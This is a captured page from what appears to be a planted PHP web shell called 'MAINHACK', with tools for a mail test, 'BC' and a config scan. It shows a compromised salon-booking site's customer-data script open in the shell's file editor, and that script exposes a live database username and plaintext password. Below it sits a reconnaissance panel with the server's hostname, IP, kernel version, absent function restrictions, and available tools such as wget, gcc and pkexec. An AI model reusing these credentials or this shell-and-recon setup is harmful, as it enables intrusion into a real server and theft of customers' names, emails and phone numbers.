[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: data_customer.php
<?php // data.php header('Content-Type: application/json'); // Database connection details – update these with your actual credentials. $dsn = "mysql:host=localhost;dbname=eliosofonline_thesalonfriend;charset=utf8"; $username = "eliosofonline_thesalonfriend"; $password = "ByAsCkUdO(-9xe1f"; $options = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, ]; try { $con = new PDO($dsn, $username, $password, $options); } catch (PDOException $e) { echo json_encode(["success" => false, "error" => "Connection error: " . $e->getMessage()]); exit; } // Retrieve parameters from GET request. $shopname = isset($_GET['shopname']) ? $_GET['shopname'] : 'DefaultShop'; $search = isset($_GET['search']) ? trim($_GET['search']) : ''; $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; $limit = isset($_GET['limit']) ? (int)$_GET['limit'] : 10; if ($page < 1) { $page = 1; } if ($limit < 1) { $limit = 10; } $offset = ($page - 1) * $limit; // Prepare the count query. try { if ($search !== '') { $sqlCount = "SELECT COUNT(*) FROM clients WHERE business_name = ? AND (first_name LIKE ? OR last_name LIKE ?)"; $stmtCount = $con->prepare($sqlCount); $likeSearch = "%" . $search . "%"; $stmtCount->bindValue(1, $shopname, PDO::PARAM_STR); $stmtCount->bindValue(2, $likeSearch, PDO::PARAM_STR); $stmtCount->bindValue(3, $likeSearch, PDO::PARAM_STR); $stmtCount->execute(); } else { $sqlCount = "SELECT COUNT(*) FROM clients WHERE business_name = ?"; $stmtCount = $con->prepare($sqlCount); $stmtCount->bindValue(1, $shopname, PDO::PARAM_STR); $stmtCount->execute(); } $totalRecords = (int)$stmtCount->fetchColumn(); } catch (PDOException $e) { echo json_encode(["success" => false, "error" => "Count Query error: " . $e->getMessage()]); exit; } // Prepare the main data query. try { if ($search !== '') { $sql = "SELECT client_id, first_name, last_name, gender, client_email, phone_number FROM clients WHERE business_name = ? AND (first_name LIKE ? OR last_name LIKE ?) ORDER BY client_id DESC LIMIT ? OFFSET ?"; $stmt = $con->prepare($sql); $stmt->bindValue(1, $shopname, PDO::PARAM_STR); $stmt->bindValue(2, $likeSearch, PDO::PARAM_STR); $stmt->bindValue(3, $likeSearch, PDO::PARAM_STR); $stmt->bindValue(4, $limit, PDO::PARAM_INT); $stmt->bindValue(5, $offset, PDO::PARAM_INT); $stmt->execute(); } else { $sql = "SELECT client_id, first_name, last_name, gender, client_email, phone_number FROM clients WHERE business_name = ? ORDER BY client_id DESC LIMIT ? OFFSET ?"; $stmt = $con->prepare($sql); $stmt->bindValue(1, $shopname, PDO::PARAM_STR); $stmt->bindValue(2, $limit, PDO::PARAM_INT); $stmt->bindValue(3, $offset, PDO::PARAM_INT); $stmt->execute(); } $data = $stmt->fetchAll(); } catch (PDOException $e) { echo json_encode(["success" => false, "error" => "Data Query error: " . $e->getMessage()]); exit; } echo json_encode([ "success" => true, "data" => $data, "total" => $totalRecords, "page" => $page, "limit" => $limit ]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002